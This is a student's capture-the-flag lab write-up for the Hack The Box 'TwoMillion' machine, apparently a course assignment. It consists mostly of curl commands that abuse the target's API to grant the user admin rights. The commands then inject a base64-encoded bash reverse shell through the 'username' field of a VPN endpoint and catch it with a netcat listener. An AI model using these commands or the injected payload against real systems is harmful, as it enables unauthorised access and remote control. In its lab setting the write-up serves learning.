TwoMillion (Escalation)

## Summary

This lab is part 2 the HTB Twomillion lab.

## Tools/Resources

Parrot: OpenVPN, Curl, Browser.

## Walkthrough

* Invite code shortcut.

curl -sX POST http://2million.htb/api/v1/invite/generate | jq

# IF the data is encoded

curl -sX POST http://2million.htb/api/v1/invite/generate | jq -r .data.code | base64 -d

# IF the data is enctype use rot13 or the tr command

curl -sX POST http://2million.htb/api/v1/invite/generate | jq -r .data.data |

tr 'A-Za-z' 'N-ZA-Mn-za-m'

* Complete the user registration and grab the PHPSESSID cookie value. The example user test@2million.htb is quite often taken.
* API manipulation (shell commands from walkthrough)

PHP\_COOKIE="PHPSESSID=qgr6gba543dnl1omnab8qv67lf"

curl -sv 2million.htb/api --cookie $PHP\_COOKIE

curl 2million.htb/api/v1 --cookie $PHP\_COOKIE | jq

curl http://2million.htb/api/v1/admin/auth --cookie $PHP\_COOKIE | jq

curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie $PHP\_COOKIE

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie $PHP\_COOKIE | jq

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie $PHP\_COOKIE --header "Content-Type: application/json" | jq

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie $PHP\_COOKIE --header "Content-Type: application/json" --data '{"email":"test@2million.htb"}' | jq

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie $PHP\_COOKIE --header "Content-Type: application/json" --data '{"email":"test@2million.htb", "is\_admin": 1}' | jq

curl http://2million.htb/api/v1/admin/auth --cookie $PHP\_COOKIE | jq

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie $PHP\_COOKIE --header "Content-Type: application/json" --data '{"username":"test"}'

* NETCAT install for callback listener. Parrot doesn’t include netcat(nc) by default

sudo apt-get install -y netcat-openbsd

nc -l 1234

* Create the command to be remotely executed

YOUR\_IP=`sudo ifconfig tun0 | grep -e "inet " | tr -s ' ' | cut -d ' ' -f3`

echo "bash -i >& /dev/tcp/$YOUR\_IP/1234 0>&1" | base64

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie $PHP\_COOKIE --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi8xMjM0IDA+JjEK | base64 -d | bash;"}'

* Follow the HTB walkthough. Starting at the “Lateral Movement” section.

## Submission

On Canvas

## Additional Thoughts

Not at this time.